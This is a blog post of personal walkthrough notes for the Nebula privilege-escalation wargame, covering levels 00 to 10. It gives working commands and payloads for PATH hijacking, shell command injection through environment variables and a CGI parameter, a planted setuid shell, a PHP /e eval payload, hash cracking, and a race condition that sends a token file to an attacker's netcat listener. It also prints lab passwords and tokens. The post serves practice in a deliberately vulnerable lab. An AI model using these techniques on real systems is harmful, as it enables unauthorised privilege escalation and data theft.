Old nebular notes
I found some of my old nebular notes. It must have been before I discovered org-mode as it was originally in Markdown. I have a custom Emacs function to convert md to org so these notes are unedited from about 2016. Enjoy..
level00
Task
This level requires you to find a Set User ID program that will run as the “flag00” account. You could also find this by carefully looking in top level directories in / for suspicious looking directories.
Solution
flag00@nebula:~$ find / -xdev \( -perm -4000 \) -type f -print0 | xargs -0 ls -l
gives the following
-rwsr-x--- 1 flag00 level00 7358 2011-11-20 21:22 /bin/.../flag00 -rwsr-xr-x 1 root root 26260 2011-05-18 03:12 /bin/fusermount -rwsr-xr-x 1 root root 88716 2011-08-09 09:15 /bin/mount -rwsr-xr-x 1 root root 34740 2011-05-03 03:38 /bin/ping -rwsr-xr-x 1 root root 39116 2011-05-03 03:38 /bin/ping6 -rwsr-xr-x 1 root root 31116 2011-06-24 02:37 /bin/su -rwsr-xr-x 1 root root 63592 2011-08-09 09:15 /bin/umount -rwsr-xr-x 1 root root 13904 2011-11-13 22:10 /sbin/mount.ecryptfs_private -rwsr-sr-x 1 daemon daemon 42736 2011-05-16 03:31 /usr/bin/at -rwsr-xr-x 1 root root 40292 2011-06-24 02:36 /usr/bin/chfn -rwsr-xr-x 1 root root 31748 2011-06-24 02:36 /usr/bin/chsh -rwsr-xr-x 1 root root 57956 2011-06-24 02:36 /usr/bin/gpasswd -rwsr-xr-x 1 root root 56208 2011-07-28 13:02 /usr/bin/mtr -rwsr-xr-x 1 root root 30896 2011-06-24 02:37 /usr/bin/newgrp -rwsr-xr-x 1 root root 41284 2011-06-24 02:36 /usr/bin/passwd -rwsr-xr-x 2 root root 156824 2011-09-11 12:06 /usr/bin/sudo -rwsr-xr-x 2 root root 156824 2011-09-11 12:06 /usr/bin/sudoedit -rwsr-xr-x 1 root root 14012 2011-05-03 03:38 /usr/bin/traceroute6.iputils -rwsr-xr-- 1 root messagebus 312728 2011-09-02 02:31 /usr/lib/dbus-1.0/dbus-daemon-launch-helper -rwsr-xr-x 1 root root 5564 2011-04-30 08:02 /usr/lib/eject/dmcrypt-get-device -rwsr-xr-x 1 root root 243864 2011-07-29 09:02 /usr/lib/openssh/ssh-keysign -rwsr-xr-x 1 root root 9732 2011-10-04 15:08 /usr/lib/pt_chown -r-sr-xr-x 1 root root 9532 2011-11-20 17:35 /usr/lib/vmware-tools/bin32/vmware-user-suid-wrapper -r-sr-xr-x 1 root root 10224 2011-11-20 17:35 /usr/lib/vmware-tools/bin64/vmware-user-suid-wrapper -rwsr-xr-- 1 root dip 273272 2011-02-04 00:43 /usr/sbin/pppd -rwsr-sr-x 1 libuuid libuuid 13860 2011-08-09 09:15 /usr/sbin/uuidd
running the only file with flag00 in the name
flag00@nebula:~$ /bin/.../flag00
Congrats, now run getflag to get your flag!
so i run getflag
flag00@nebula:~$ getflag
You have successfully executed getflag on a target account
Level01
Task
There is a vulnerability in the below program that allows arbitrary programs to be executed, can you find it?
To do this level, log in as the level01 account with the password level01. Files for this level can be found in /home/flag01.
#include <stdlib.h> #include <unistd.h> #include <string.h> #include <sys/types.h> #include <stdio.h> int main(int argc, char **argv, char **envp) { gid_t gid; uid_t uid; gid = getegid(); uid = geteuid(); setresgid(gid, gid, gid); setresuid(uid, uid, uid); system("/usr/bin/env echo and now what?"); }
Solution
So the above code loads the users enviroment and then runs echo followed by a string, by modifying the PATH variable it can be exploited.
level01@nebula:/home/flag01$ export PATH=/tmp:$PATH level01@nebula:/home/flag01$ echo "/bin/bash" >> /tmp/echo level01@nebula:/home/flag01$ chmod +x /tmp/echo
level01@nebula:/home/flag01$ ./flag01 flag01@nebula:/home/flag01$ getflag You have successfully executed getflag on a target account
Level02
Task
There is a vulnerability in the below program that allows arbitrary programs to be executed, can you find it?
To do this level, log in as the level02 account with the password level02. Files for this level can be found in /home/flag02.
#include <stdlib.h> #include <unistd.h> #include <string.h> #include <sys/types.h> #include <stdio.h> int main(int argc, char **argv, char **envp) { char *buffer; gid_t gid; uid_t uid; gid = getegid(); uid = geteuid(); setresgid(gid, gid, gid); setresuid(uid, uid, uid); buffer = NULL; asprintf(&buffer, "/bin/echo %s is cool", getenv("USER")); printf("about to call system(\"%s\")\n", buffer); system(buffer); }
Solution
The binary calls the USER environment variable. Changing this allows us to exploit and get the flag.
level02@nebula:/home/flag02$ export USER="user && /bin/bash && echo"
level02@nebula:/home/flag02$ ./flag02
about to call system("/bin/echo user && /bin/bash && echo is cool")
user
flag02@nebula:/home/flag02$ getflag You have successfully executed getflag on a target account
Level03
Task
Check the home directory of flag03 and take note of the files there.
There is a crontab that is called every couple of minutes.
To do this level, log in as the level03 account with the password level03. Files for this level can be found in /home/flag03.
Solution
The files in /home/flag03/ show a directory and a shell script
#!/bin/sh for i in /home/flag03/writable.d/* ; do (ulimit -t 5; bash -x "$i") rm -f "$i" done
To manipulate this i put the following as /tmp/shell.c
#include <stdlib.h> #include <unistd.h> #include <string.h> #include <sys/types.h> #include <stdio.h> int main(int argc, char **argv, char **envp) { gid_t gid; uid_t uid; gid = getegid(); uid = geteuid(); setresgid(gid, gid, gid); setresuid(uid, uid, uid); system("/bin/bash"); }
Then put the following in /home/flag03/writable.d/ and wait for it to run
#!/bin/bash gcc /tmp/shell.c -o /home/flag03/shell chmod +s /home/flag03/shell
After it has ran, i can run the shell file and get the flag
level03@nebula:/home/flag03$ ls writable.d/ run.sh level03@nebula:/home/flag03$ ls writable.d/
level03@nebula:/home/flag03$ ./shell flag03@nebula:/home/flag03$ getflag You have successfully executed getflag on a target account
Level04
Task
This level requires you to read the token file, but the code restricts the files that can be read. Find a way to bypass it :)
To do this level, log in as the level04 account with the password level04. Files for this level can be found in /home/flag04.
#include <stdlib.h> #include <unistd.h> #include <string.h> #include <sys/types.h> #include <stdio.h> #include <fcntl.h> int main(int argc, char **argv, char **envp) { char buf[1024]; int fd, rc; if(argc == 1) { printf("%s [file to read]\n", argv[0]); exit(EXIT_FAILURE); } if(strstr(argv[1], "token") != NULL) { printf("You may not access '%s'\n", argv[1]); exit(EXIT_FAILURE); } fd = open(argv[1], O_RDONLY); if(fd == -1) { err(EXIT_FAILURE, "Unable to open %s", argv[1]); } rc = read(fd, buf, sizeof(buf)); if(rc == -1) { err(EXIT_FAILURE, "Unable to read fd %d", fd); } write(1, buf, rc); }
Solution
The binary looks for a file and opens it if you have permissions. to open the /home/flag04/token i create a symbolic link to /tmp/test and am then able to open the file with the binary.
level04@nebula:/home/flag04$ ln -s /home/flag04/token /tmp/test
level04@nebula:/home/flag04$ ./flag04 /tmp/test 06508b5e-8909-4f38-b630-fdb148a848a2
level04@nebula:/home/flag04$ su flag04 Password: 06508b5e-8909-4f38-b630-fdb148a848a2 sh-4.2$ getflag You have successfully executed getflag on a target account
Level05
Task
Check the flag05 home directory. You are looking for weak directory permissions
To do this level, log in as the level05 account with the password level05. Files for this level can be found in /home/flag05.
Solution
looking in the directory we see a .backup folder with “lax” permissions
level05@nebula:/home/flag05$ ls -la total 5 drwxr-x--- 4 flag05 level05 93 2012-08-18 06:56 . drwxr-xr-x 1 root root 200 2012-08-27 07:18 .. drwxr-xr-x 2 flag05 flag05 42 2011-11-20 20:13 .backup -rw-r--r-- 1 flag05 flag05 220 2011-05-18 02:54 .bash_logout -rw-r--r-- 1 flag05 flag05 3353 2011-05-18 02:54 .bashrc -rw-r--r-- 1 flag05 flag05 675 2011-05-18 02:54 .profile drwx------ 2 flag05 flag05 70 2011-11-20 20:13 .ssh
looking in the .backup folder we see a .tgz archive
level05@nebula:/home/flag05$ ls -la .backup/ total 2 drwxr-xr-x 2 flag05 flag05 42 2011-11-20 20:13 . drwxr-x--- 4 flag05 level05 93 2012-08-18 06:56 .. -rw-rw-r-- 1 flag05 flag05 1826 2011-11-20 20:13 backup-19072011.tgz
unarchiving it shows an ssh key
level05@nebula:/home/flag05/.backup$ cp backup-19072011.tgz ~ level05@nebula:/home/flag05/.backup$ cd level05@nebula:~$ ls backup-19072011.tgz level05@nebula:~$ tar xvzf ./backup-19072011.tgz .ssh/ .ssh/id_rsa.pub .ssh/id_rsa .ssh/authorized_keys
using the key to ssh allows us to login as the flag user
level05@nebula:~$ ssh flag05@localhost -i .ssh/id_rsa The authenticity of host 'localhost (127.0.0.1)' can't be established. ECDSA key fingerprint is ea:8d:09:1d:f1:69:e6:1e:55:c7:ec:e9:76:a1:37:f0. Are you sure you want to continue connecting (yes/no)? yes
flag05@nebula:~$ getflag You have successfully executed getflag on a target account
flag06:ueqwOCnSGdsuM:993:993::/home/flag06:/bin/sh# Level06
Task
The flag06 account credentials came from a legacy unix system.
To do this level, log in as the level06 account with the password level06. Files for this level can be found in /home/flag06.
Solution
level06@nebula:/home/flag06$ cat /etc/passwd | grep flag06 flag06:ueqwOCnSGdsuM:993:993::/home/flag06:/bin/sh
putting that into john
{17-01-09 10:13}10d1336738e8:/opt/Data root# emacs flag06passwd
{17-01-09 10:13}10d1336738e8:/opt/Data root# john ./flag06passwd
Created directory: /root/.john
Using default input encoding: UTF-8
Loaded 1 password hash (descrypt, traditional crypt(3) [DES 128/128 AVX-16])
Press 'q' or Ctrl-C to abort, almost any other key for status
hello (flag06)
1g 0:00:00:00 DONE 2/3 (2017-01-09 10:13) 4.761g/s 3571p/s 3571c/s 3571C/s 123456..marley
Use the "--show" option to display all of the cracked passwords reliably
Session completed
password is hello
level06@nebula:/home/flag06$ su flag06 Password: hello sh-4.2$ getflag You have successfully executed getflag on a target account
Level07
Task
The flag07 user was writing their very first perl program that allowed them to ping hosts to see if they were reachable from the web server.
To do this level, log in as the level07 account with the password level07. Files for this level can be found in /home/flag07.
#!/usr/bin/perl use CGI qw{param}; print "Content-type: text/html\n\n"; sub ping { $host = $_[0]; print("<html><head><title>Ping results</title></head><body><pre>"); @output = `ping -c 3 $host 2>&1`; foreach $line (@output) { print "$line"; } print("</pre></body></html>"); } # check if Host set. if not, display normal page, etc ping(param("Host"));
Solution
There is a webserver on port 7007
level07@nebula:/home/flag07$ cat thttpd.conf | grep port # Specifies an alternate port number to listen on. port=7007
using the same exploit from a previous level
#include <stdlib.h> #include <unistd.h> #include <string.h> #include <sys/types.h> #include <stdio.h> int main(int argc, char **argv, char **envp) { gid_t gid; uid_t uid; gid = getegid(); uid = geteuid(); setresgid(gid, gid, gid); setresuid(uid, uid, uid); system("/bin/bash"); }
and a bash script to compile it
#!/bin/bash gcc /tmp/shell.c -o /home/flag07/shell chmod +s /home/flag07/shell
Use the webserver to run as flag07 user
level07@nebula:/home/flag07$ cd
level07@nebula:~$ wget 'http://localhost:7007/index.cgi?Host=127.0.0.1|sh /tmp/run07.sh'
--2017-01-09 02:33:24-- http://localhost:7007/index.cgi?Host=127.0.0.1%7Csh%20/tmp/run07.sh
Resolving localhost... 127.0.0.1
Connecting to localhost|127.0.0.1|:7007... connected.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [text/html]
Saving to: `index.cgi?Host=127.0.0.1|sh %2Ftmp%2Frun07.sh'
[ <=> ] 77 76.9B/s in 1.0s
2017-01-09 02:33:25 (76.9 B/s) - `index.cgi?Host=127.0.0.1|sh %2Ftmp%2Frun07.sh' saved [77]
Then look for our new shell binary
level07@nebula:/home/flag07$ ls -la total 18 drwxr-x--- 1 flag07 level07 60 2017-01-09 02:33 . drwxr-xr-x 1 root root 300 2012-08-27 07:18 .. -rw-r--r-- 1 flag07 flag07 220 2011-05-18 02:54 .bash_logout -rw-r--r-- 1 flag07 flag07 3353 2011-05-18 02:54 .bashrc -rwxr-xr-x 1 root root 368 2011-11-20 21:22 index.cgi -rw-r--r-- 1 flag07 flag07 675 2011-05-18 02:54 .profile -rwsr-sr-x 1 flag07 flag07 7321 2017-01-09 02:33 shell -rw-r--r-- 1 root root 3719 2011-11-20 21:22 thttpd.conf
Get the Flag
level07@nebula:/home/flag07$ ./shell flag07@nebula:/home/flag07$ getflag You have successfully executed getflag on a target account
Level08
Task
World readable files strike again. Check what that user was up to, and use it to log into flag08 account.
To do this level, log in as the level08 account with the password level08. Files for this level can be found in /home/flag08.
Solution
there is a pcap in the home directory, scp'ing this over and opening in wireshark gives us the below
scp level08@192.168.1.10:/home/flag08/capture.pcap . level08@192.168.1.10's password: capture.pcap 100% 8302 8.1KB/s 00:00
so the password looks to be backdoor...00Rm8.ate however the . are represented by \x7f so the password actually is backd00Rmate
level08@nebula:/home/flag08$ su flag08 Password:backd00Rmate
sh-4.2$ whoami ; getflag flag08 You have successfully executed getflag on a target account
Level09
Task
There‚ a C setuid wrapper for some vulnerable PHP code‚Ķ
To do this level, log in as the level09 account with the password level09. Files for this level can be found in /home/flag09.
<?php
function spam($email)
{
$email = preg_replace("/\./", " dot ", $email);
$email = preg_replace("/@/", " AT ", $email);
return $email;
}
function markup($filename, $use_me)
{
$contents = file_get_contents($filename);
$contents = preg_replace("/(\[email (.*)\])/e", "spam(\"\\2\")", $contents);
$contents = preg_replace("/\[/", "<", $contents);
$contents = preg_replace("/\]/", ">", $contents);
return $contents;
}
$output = markup($argv[1], $argv[2]);
print $output;
?>
Solution
When pre_replace is used with the /e flag, the replacement string is substituted, evaluated, and replaced in the original. By looking at the PHP source code, we see the following:
$contents = preg_replace("/(\[email (.*)\])/e", "spam(\"\\2\")", $contents);
the regex will mean that it is the pattern ([email EMAIL]) where EMAIL will be evaluated by the function.
with that in mind crafting the following payload allows us to get the flag
level09@nebula:/home/flag09$ echo '[email {${@system($use_me)}}]' > /tmp/09
here the email arg will be an argument that will send the next argument to the system.
level09@nebula:/home/flag09$ ./flag09 /tmp/09 sh sh-4.2$ getflag You have successfully executed getflag on a target account
Level10
Task
The setuid binary at /home/flag10/flag10 binary will upload any file given, as long as it meets the requirements of the access() system call.
To do this level, log in as the level10 account with the password level10. Files for this level can be found in /home/flag10.
#include <stdlib.h> #include <unistd.h> #include <sys/types.h> #include <stdio.h> #include <fcntl.h> #include <errno.h> #include <sys/socket.h> #include <netinet/in.h> #include <string.h> int main(int argc, char **argv) { char *file; char *host; if(argc < 3) { printf("%s file host\n\tsends file to host if you have access to it\n", argv[0]); exit(1); } file = argv[1]; host = argv[2]; if(access(argv[1], R_OK) == 0) { int fd; int ffd; int rc; struct sockaddr_in sin; char buffer[4096]; printf("Connecting to %s:18211 .. ", host); fflush(stdout); fd = socket(AF_INET, SOCK_STREAM, 0); memset(&sin, 0, sizeof(struct sockaddr_in)); sin.sin_family = AF_INET; sin.sin_addr.s_addr = inet_addr(host); sin.sin_port = htons(18211); if(connect(fd, (void *)&sin, sizeof(struct sockaddr_in)) == -1) { printf("Unable to connect to host %s\n", host); exit(EXIT_FAILURE); } #define HITHERE ".oO Oo.\n" if(write(fd, HITHERE, strlen(HITHERE)) == -1) { printf("Unable to write banner to host %s\n", host); exit(EXIT_FAILURE); } #undef HITHERE printf("Connected!\nSending file .. "); fflush(stdout); ffd = open(file, O_RDONLY); if(ffd == -1) { printf("Damn. Unable to open file\n"); exit(EXIT_FAILURE); } rc = read(ffd, buffer, sizeof(buffer)); if(rc == -1) { printf("Unable to read from file: %s\n", strerror(errno)); exit(EXIT_FAILURE); } write(fd, buffer, rc); printf("wrote file!\n"); } else { printf("You don't have access to %s\n", file); } }
Solution
The binary first checks to see if the user running the problem has access to the file (line24) It then assumes for the rest of the execution of the program, that we still have access to it. To trick this i do the following.
level10@nebula:/home/flag10$ while :; do ln -fs /tmp/token /tmp/token10; ln -fs /home/flag10/token /tmp/token10; don level10@nebula:/home/flag10$ while :; do nice -n 20 ./flag10 192.168.1.1;done
then on my attacker
{17-01-09 12:18}0cc7a14b8ffe:~ root# while :; do nc -l -p 18211 >> out.txt; done
{17-01-09 12:18}0cc7a14b8ffe:~ root# tail -f out.txt | grep -v ".oO Oo."
I found this to be a real challange, so its something i need to back and review, but it did work and i found the token
615a2ce1-b2b5-4c76-8eed-8aa5c4015c27
then su to the flag user and get the flag
level10@nebula:/home/flag10$ su flag10 Password: 615a2ce1-b2b5-4c76-8eed-8aa5c4015c27 sh-4.2$ getflag You have successfully executed getflag on a target account